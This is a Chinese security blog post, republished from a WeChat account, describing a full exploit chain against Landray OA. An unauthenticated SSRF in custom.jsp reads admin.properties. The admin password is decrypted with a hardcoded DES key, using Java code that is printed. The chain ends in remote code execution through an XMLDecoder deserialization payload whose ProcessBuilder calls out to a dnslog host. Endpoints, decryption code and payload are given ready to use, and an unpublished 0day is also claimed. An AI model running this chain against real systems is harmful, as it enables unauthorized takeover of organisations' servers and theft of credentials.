蓝某OA前台SSRF进一步利用到RCE

  • A+
所属分类:安全文章

0x00 前言

先祝大家五一节快乐,远海说五天假期要连着学五天。正好前两天暴出蓝凌OA的一个未授权的SSRF漏洞,借着这个SSRF漏洞远海深入研究了一波完成了一个SSRF到RCE的组合利用。那么我们来看看这个组合链是如何构造的。

0x01 正文

蓝某OA前台SSRF漏洞

漏洞地址: /sys/ui/extend/varkind/custom.jsp

直接贴源码:

<%@page import="com.landray.kmss.util.ResourceUtil"%><%@page import="net.sf.json.JSONArray"%><%@page import="net.sf.json.JSONObject"%><%@ page language="java" pageEncoding="UTF-8"%><%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core"%><%  JSONObject vara = JSONObject.fromObject(request.getParameter("var"));  JSONObject body = JSONObject.fromObject(vara.get("body"));%><c:import url='<%=body.getString("file") %>'>  <c:param name="var" value="${ param['var'] }"></c:param></c:import>

挺简单的一处漏洞。。

内容就是一堆套娃处理。不细说。

问题就是在于<c:import url=

<c:import>标签提供了所有<jsp:include>行为标签所具有的功能,同时也允许包含绝对URL。

举例来说,使用<c:import>标签可以包含一个FTP服务器中不同的网页内容。

url的内容可控为json内容中的file键值。

这里的url可以是相对路径和绝对路径或者是其他主机的资源。

简单来说就是一处ssrf。并且是有回显的。

看了大部分poc都是利用file协议去读取passwd。 蓝某OA前台SSRF进一步利用到RCE

你以为文章到这就结束了???这才刚刚开始。

既然是SSRF,并且可以读文件还支持相对路径?。这不好好利用一下?

如果你看过蓝凌OA的配置文档。你就知道,admin.do这个路径是管理系统配置。并且,该地址的密码是以硬编码的格式保存在本地的。

路径:WEB-INF/KmssConfig/admin.properties

既然上面的ssrf支持相对路径和绝对路径。并且,是有回显的。那么只需要读取这个路径的文件就可以了。

蓝某OA前台SSRF进一步利用到RCE

成功得到密码,但是这里要注意 kmss.properties.encrypt.enabled = true

如果为ture,则说明password的内容是加密过的。

那么就需要进一步解密。

先看看这个文件在哪里被读取了。

蓝某OA前台SSRF进一步利用到RCE

com.landray.kmss.sys.config.constant.SysConfigConstant类中,admin.properties的路径被存储在变量ADMIN_PROPERTIES_PATH中。

继续查找,看一下哪里调用了ADMIN_PROPERTIES_PATH变量

最终在com.landray.kmss.sys.config.action.SysConfigAdminUtil中发现getAdminProperties方法中存在调用。

看了下具体逻辑。

    if (isEncryptEnabled(p))
p.setProperty("password", doPasswordDecrypt(
p.getProperty("password")));
return p;
}

如果配置文件中的加密选项为true。则进入doPasswordDecrypt方法进行解密。 蓝某OA前台SSRF进一步利用到RCE

这不就直接可以了吗? 蓝某OA前台SSRF进一步利用到RCE

解密代码:


import com.landray.kmss.util.DESEncrypt;

public class main {
public static void main(String[] args) {
String password = "mqwEyqHLj9PQXpy+yhf4z92SejWx+VeS";
String resul=doPasswordDecrypt(password);
System.out.println(resul);

}
public static String doPasswordDecrypt(String password) {
try {
DESEncrypt des = new DESEncrypt("kmssAdminKey");
return des.decryptString(password);
} catch (Exception ex) {
try {
DESEncrypt des0 = new DESEncrypt("kmssAdminKey", true);
return des0.decryptString(password);
} catch (Exception e) {
return "hh";
}
}
}
}


得到解密结果 蓝某OA前台SSRF进一步利用到RCE

直接访问admin.do进行登陆。

蓝某OA前台SSRF进一步利用到RCE

到了这一步。。。估计其他师傅已经知道怎么rce了。jndi,jdbc反序列化就可以直接rce了

不过,对于我这种懒狗来说。还是不够简洁。

对于admin账号。可以直接在前台登陆。 蓝某OA前台SSRF进一步利用到RCE

然后利用hw期间爆出的后台洞就可以直接拿到shell。

这里摸一个0day,带走。 蓝某OA前台SSRF进一步利用到RCE

也可以使用之前在星球发过的xmldecoder反序列化漏洞。

POC:

/sys/search/sys_search_main/sysSearchMain.do?method=editParam&fdParemNames=11&fdParameters=<payload>

使用XMLDecoder-payload-generator生成payload。

github地址: https://github.com/mhaskar/XMLDecoder-payload-generator

蓝某OA前台SSRF进一步利用到RCE

蓝某OA前台SSRF进一步利用到RCE

<?xml version="1.0" encoding="UTF-8"?> <java version="1.7.0_21" class="java.beans.XMLDecoder"> <void class="java.lang.ProcessBuilder"> <array class="java.lang.String" length="2"><void index="0"><string>ping</string></void><void index="1"><string>test.****.dnslog.cn</string></void></array> <void method="start" id="process"> </void> </void> </java>

这里测试下dnslog

蓝某OA前台SSRF进一步利用到RCE成功RCE

0x02 结语

学,学五天,学习就是放假!




蓝某OA前台SSRF进一步利用到RCE


本文始发于微信公众号(赛博回忆录):蓝某OA前台SSRF进一步利用到RCE

发表评论

:?: :razz: :sad: :evil: :!: :smile: :oops: :grin: :eek: :shock: :???: :cool: :lol: :mad: :twisted: :roll: :wink: :idea: :arrow: :neutral: :cry: :mrgreen: